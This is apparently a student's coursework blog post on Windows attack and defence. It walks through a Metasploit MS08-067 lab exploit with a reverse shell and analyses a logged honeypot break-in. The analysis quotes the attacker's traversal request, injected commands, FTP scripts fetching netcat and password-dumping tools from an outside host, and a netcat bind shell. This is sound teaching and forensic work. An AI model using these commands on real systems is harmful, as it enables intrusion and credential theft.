20199324 2019-2020-2 《网络攻防实践》第7周作业
作业说明
这个作业属于哪个课程 :课程链接
这个作业的要求在哪里 :作业要求链接
我在这个课程的目标是 :学习网络攻防相关技术并进行实践
这个作业在哪个具体方面帮助我实现目标:学习Windows操作系统攻防技术
作业正文
1.实践内容+知识点总结
Windows操作系统基本框架
-
Windows从总体上分为内核模式(Kernel Model)和用户模式(User Model)。
-
一般CPU有多个特权层,Intel的386CPU就有4个特权层,从第0层到第3层。其中第0层的特权最高,也就是可以执行任意代码,第3层特权最低,只能执行有限代码。
-
Windows将内核模式运行在CPU的第0层,将用户模式运行在CPU的第3层。内核模式下运行的都是核心代码,这些代码是安全的,且不会受到恶意的攻击。而运行在用户模式下的应用程序是最不安全且容易受到攻击的,所以应用程序权限是受到限制的。
-
Windows操作系统的基本机构示意图
-
Windows进程和线程管理机制:Windows将进程视作可执行程序运行时刻的容器,包括一个私有虚拟内存空间描述符,系统资源对象句柄列表,带有执行用户账号权限的安全访问令牌,记录了进程ID及其父进程ID等信息,并至少包含一个作为进程内部指令执行体的执行线程。线程作为指令执行的具体载体,其线程控制块TCB中包含程序执行的上下文信息。
-
Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分,对于32位Windows系统而言,2GB〜4GB区间为系统核心内存,0GB〜2GB 区间为用户态内存。
-
Windows文件管理机制:Windows系统使用NTFS文件系统,NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性。Windows上的可执行文件釆用PE格式,主要由DoS头、PE头、分段表,以及具体的代码段、数据段等组成。
-
Windows注册表管理机制:Windows注册表可通过系统自帯的regedit.exe 注册表查找编辑工具或其他第三方工具进行访问与修改,并可使用RegMon等工具监控系统的注册表读写操作。
-
Windows的网络机制:Windows网络组件模块包括各种网卡硬件的设备驱动程序、NDIS 库及 miniport 驱动程序、TDI传输层(网络协议驱动)、网络API DLL及TDI客户端、网络应用程序与服务进程。详细信息见下表:
Windows网络组件模块 | 相当于七层OSI | 描述 |
---|---|---|
各网卡硬件设备的驱动程序 | 物理层 | 一般由第三方硬件厂商提供 |
NDIS库及mimiport驱动 | 链路层 | 为不同的网卡驱动程序和TDI传输层间构建了封装接口 |
TDI传输层(网络协议驱动) | 网络层、传输层 | 通过透明地进行如分片与重组、排序确认与重传等一系列操作,为上层网络应用提供了便捷的支持 |
网络API DLL及TDI客户端 | 会话层、表示层 | 网络API DLL为应用程序提供了独立于具体协议的网络交互和实现方式,TDI客户端是网络API接口的具体实现 |
网络应用服务程序与服务进程 | 应用层 | 实现网络交互和通信功能 |
Windows操作系统安全体系结构与机制
安全体系结构
- windows的安全体系结构基于引用监控器这一经典的安全模型。
- 其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,它们与Winlogin/Eventlog以及Eventlog等相关服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
- Windows系统安全体系结构示意图:
身份认证机制
- 安全主体:用户、用户组、计算机
- 对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
- Windows为每个用户和计算机设置账户(accounts)进行管理,并为每个账户设置账户限权,限制这些账户内运行程序对系统资源对象的访问,通过将用户账户添加入特定的用户组,就可以使得该用户拥有用户组配置的全部权限,减少了限权控制的工作量。
- Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中,只有LocalSystem账户权限才可以读取,但目前已有黑客找到了能从内存中dump出SAM的技术。
- Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程,网络身份认证过程由LSASS服务的Netlogon模块主导完成
授权与访问控制机制
- Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
- 对于系统中所有需要保护的资源都抽象成对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。
- 每个对象关联一个SD安全描述符:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。
- Windows系统的基本访问控制机制与对象安全模型如下图所示:
安全审计机制
- LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。
其他安全机制
- 安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。
Windows远程安全攻防技术
- 目前Windows远程攻击技术有以下几类:
- 远程口令猜解与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端和用户
windows远程口令猜解攻击与破解攻击
- 远程口令字猜测:
- 攻击渠道:SMB协议,其他包括WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。
- 工具:Legion、enum、smbgrind、NTScan、XScan、流光、NTScan汉化版。
- 原理:SMB服务决定授予网络用户对所请求的共享文件或打印机的访问权之前,会先进行身份验证,此时用户输入正确口令,攻击者对系统实施远程口令字猜测攻击。由于系统中存在大量弱口令,使得远程口令猜测成为可能。
- 远程口令字交换通信窃听与破解:
- 攻击渠道:NTLM、LanMan、NTLMV2和kerberos网络认证协议的弱点。
- 工具:L0phtcrack、Cain and Abel
- 远程口令猜测与破解防范措施:尽量关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。
windows网络服务远程渗透攻击
- 类型:
- 针对NETBIOS服务的攻击(Windows局域网联网的基本支持)。
- 针对SMB服务的攻击。
- 针对MSRPC服务的攻击(远程过程调用)。
- 针对Windows系统上微软网络的远程渗透攻击。
- 针对Windows系统上第三方服务的远程渗透攻击。
- 防范措施:从设计开发根源上减少安全漏洞的出现,及时进行漏洞补丁修护,尽可能快速更新与应用软件安全补丁;在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间中,管理员要尽快对安全敏感的服务器做测试和实施可用的攻击缓解配置;利用服务软件厂商及社区提供的安全核对清单来对服务进行安全配置,利用一些安全插件,利用漏洞扫描软件扫描漏洞及时进行修复。
Metasploit渗透测试:
- 基础库文件:包括Rex,framework-core和framework-base三部分。
- 模块:辅助模块、渗透攻击模块(主动、被动)、攻击载荷模块(在渗透攻击成功后促使目标系统运行)、空指令模块、编码器模块、后渗透模块(获取敏感信息)。
Windows系统本地安全攻防技术
- windows本地特权提升
- 本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。
- 防范措施:及时打补丁、及时跟进厂家的安全警告
- windows敏感信息窃取
- 包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
- 防范措施:使用安全度高、能抵挡破解的口令
- windows消灭踪迹
- 主要手段包括、关闭审计功能、清理事件日志。
- 防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
- 远程控制与后门
- 主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
- 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
2.实践过程
动手实践:Metasploit Windows Attack
- 任务:使用Metasploit软件进行Windows远程渗透攻击实验
- 具体任务内容:使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。
- 实践步骤:
- 启动metasploit软件,根据个人喜好使用msfconsole、msfgui、msfweb之一;
- 使用exploit:windows/smb/ms08_067_netapi渗透攻击模块;
- 选择攻击PAYLOAD为远程shell(正向或反向;连接均可);
- 设置渗透攻击参数(RHOST、LHOST、TARGET等);
- 执行渗透攻击;
- 查看是否正确得到远程shell,并查看获得的权限。
实验环境 | ip |
---|---|
攻击机kali | 192.168.200.3 |
靶机Win2KServer | 192.168.200.124 |
- 在kali攻击机终端使用以下命令进入Metasploit:
sudo su
sudo apt-get install metasploit-framework
msfconsole
-
使用命令
search ms08_067
查看漏洞详情,在exploit库里找到相关的渗透模块,结果如下图,可得针对该漏洞的渗透攻击模块
-
再用命令
use exploit/windows/smb/ms08_067_netapi
告诉kali 我们将ms08_067作为目标漏洞
-
使用命令
show payloads
列举出所有适用的负载模块,查看有效的攻击载荷
-
选择3,反向连接。使用命令
set PAYLOAD generic/shell_reverse_tcp
设置攻击的载荷为tcp的反向连接
-
使用命令
show options
来查看攻击数据,需要我们设置的数据如下图标记所示。
-
配置该渗透攻击模块和攻击负载模块所必须的参数,用
set LHOST 192.168.200.3
为攻击机kali地址,set RHOST 192.168.200.124
为靶机地址,再次用show options
查看当前参数列表及其默认装置,
-
用命令
show targets
查看可设置的操作系统类型,set TARGET 0
选择目标操作系统平台,0为自动识别
-
使用命令
exploit
开始渗透,这个过程等了好久,久到我以为自己实验是不是失败了。。。
-
然后就一直停留在上张图片这个界面,我敲了一下回车,显示成功啦!使用
ipconfig
验证,命令执行成功,攻击成功。
实践作业——取证分析实践:解码一次成功的NT系统破解攻击
- 题目:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为:lab.wiretrip.net),根据整个攻击过程的二进制记录文件snort-0204@0117.log,提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击?
- 攻击者如何使用这个破解工具进入并控制了系统?
- 攻击者获得系统访问权限后做了什么?
- 我们如何防止这样的攻击?
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
攻击者使用了什么破解工具进行攻击?
- 用wireshark打开二进制文件
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
对其进行过滤,查看攻击机与靶机之间来往的数据包- 可以看到攻击机与目标主机在TCP“三次握手”后建立了连接,发现攻击机经三次握手后,首先访问了靶机的
http://lab.wiretrip.net/Default.htm
,同时还发现靶机的操作系统为windows NT 5.0
- 之后攻击机一直向目标主机发送http get请求获取资源,一开始get的内容是一些gif图片,第76行,出现了default.asp文件,
ASP意为“动态服务器页面”,和现在比较流行的PHP一样同为后台脚本语言,运行ASP文件需要的服务器是IIS服务器
- 到第117行,,发现了
GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1
- 说明攻击机在
http://lab.wiretrip.net/guest/default.asp
进行了Unicode
编码攻击并打开了打开NT系统启动文件boot.ini
,因为%C0%AF
为/
的Unicode编码。 - 随后我们观察到编号130、140和149中都含有
msadc
,149号数据包中发现了下图的内容:
- 攻击者通过
msadcs.dll
中存在RDS漏洞进行了SQL注入攻击,并执行了命令cmd /c echo werd >> c:\fun
,特征字符串ADM!ROX!YOUR!WORLD
出现多次,根据资料可以查询到是由msadc(2).pl渗透攻击工具发起的攻击。
攻击者如何使用这个破解工具进入并控制了系统?
- 去掉筛选条件,继续往下看,从会话
1778-80
开始,通过追踪TCP流,发现其指令依次为
SESSION:1778-80 cmd /c echo user johna2k > ftpcom
SESSION:1780-80 cmd /c echo hacker2000 > ftpcom
SESSION:1782-80 cmd /c echo get samdump.dll > ftpcom
SESSION:1784-80 cmd /c echo get pdump.exe > ftpcom
SESSION:1786-80 cmd /c echo get nc.exe > ftpcom
SESSION:1789-80 cmd /c echo quit >> ftpcom
SESSION:1791-80 cmd /c ftp -s:ftpcom -n www.nether.net
-
由这些指令可以看出攻击机在尝试使用ftp连接目标机,并创建了ftpcom脚本,并使用ftp连接www.nether.net,尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)
-
会话1791-80之后,308号数据开始出现ftp,攻击者开始进行ftp连接,进行TCP流追踪,可以看到攻击者试图连接FTP服务器,但是失败了
-
直接筛选ftp,可以看到在编号1106,攻击者成功连接了FTP服务器。
-
接下来就看编号1106之前攻击者所发出的指令,发现攻击者使用的是Unicode漏洞攻击(可能是攻击者尝试了几次RDS攻击渗透攻击没有成功,就转向了Unicode攻击),通过追踪TCP流,发现攻击者发送了以下指令。
SESSION:1874-80 copy C:\winnt\system32\cmd.exe cmd1.exe
SESSION:1875-80 cmd1.exe /c open 213.116.251.162 >ftpcom
SESSION:1876-80 cmd1.exe /c echo johna2k >>ftpcom
SESSION:1877-80 cmd1.exe /c echo haxedj00 >>ftpcom
SESSION:1879-80 cmd1.exe /c echo get nc.exe >>ftpcom
SESSION:1880-80 cmd1.exe /c echo get pdump.exe >>ftpcom
SESSION:1881-80 cmd1.exe /c echo get samdump.dll >>ftpcom
SESSION:1882-80 cmd1.exe /c echo quit >>ftpcom
SESSION:1885-80 cmd1.exe /c ftp -s:ftpcom
- 再向后观察到编号1224,攻击者执行了命令
cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻击者连接了6969端口(会话1887-80),并且获得了访问权限。至此,攻击者完成了进入系统并且获得访问权的过程。
攻击者获得系统访问权限后做了什么?
-
用条件
tcp.port == 6969
筛选一下,看看攻击者获得系统访问权限后做了什么.追踪一下tcp流:
-
首先攻击者进行了一些查看文件和权限,删除脚本等常用操作。看到攻击者希望获得本地Administrator权限,执行
net session
(列出会话)但访问受限,又执行net users
,返回主机的用户列表只有一个Administrator。
-
接下来攻击者发了一个echo消息到C盘根目录文件
-
接下来又尝试通过
net group
查看组用户、net localgroup
查看本地组用户、以及net group domain admins
查看管理员组,然而这些都失败了。
-
尝试利用pdump破解口令密码,似乎失败了。攻击者放弃了,删除了samdump和pdump
我们如何防止这样的攻击?
- 为这些漏洞打上补丁.
- 禁用用不着的 RDS 等服务。
- 防火墙封禁网络内部服务器发起的连接。
- 为web server 在单独的文件卷上设置虚拟根目录。
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server。
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
- 攻击者知道他的目标是一台蜜罐主机,因为在TCP流中攻击者输入了输入了如下内容
C:>echo best honeypot i've seen till now :) > rfp.txt
实践作业——团队对抗实践:Windows系统远程渗透攻击和分析
-
题目:
- 攻击方使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;
- 防守方使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及攻击成功之后在本地执行的命令输入信息。
-
和第一个实践过程一样,在输入
exploit
进行攻击之前,在攻击方kali开启wireshark进行监听。(由于靶机没有wireshark,所以选择用kali上的wireshark监听。效果一样的) -
可以看到TCP三次握手后,发送了许多SMB包,猜测为MS08-067漏洞。这是由于MS08_067漏洞是通过
MSRPC over SMB
通道调用Server服务程序中的NetPathCanonicaliza
函数,这个函数存在逻辑错误,会栈缓冲区溢出,攻击者借此获得远程代码执行。
-
从抓包结果中可以分析出:
- 攻击机:
192.168.200.3
,端口:36537
;靶机:192.168.200.124
,端口:445
- 攻击发起时间:从ARP协议的询问开始;
- 攻击机:
-
攻击利用的漏洞:针对SMB网络服务的漏洞;DCERPC解析器拒绝服务漏洞;SPOOLSS打印服务假冒漏洞(MS10-061)
-
在靶机上输入
ipconfig
,在wireshrak上跟踪TCP数据流发现了这一命令,可查看到本地执行的命令输入信息:
3.学习中遇到的问题及解决
- 问题1:解码一次成功的NT系统破解攻击这个实践太难了,简直一头雾水啊。。。
- 问题1解决方案:阅读参考答案和其他同学的博客,上网查阅资料
4.实践总结
本次实践对Windows的攻防有了基本的了解,能够进行一些简单的漏洞攻击,但对于一些原理上的内容还是缺乏理解。很多分析还比较浅显,尤其是第二个实验,感觉一点头绪都没有,一直都在别人的博客和参考答案中学习和摸索,还是要多寻找相关资料进行学习。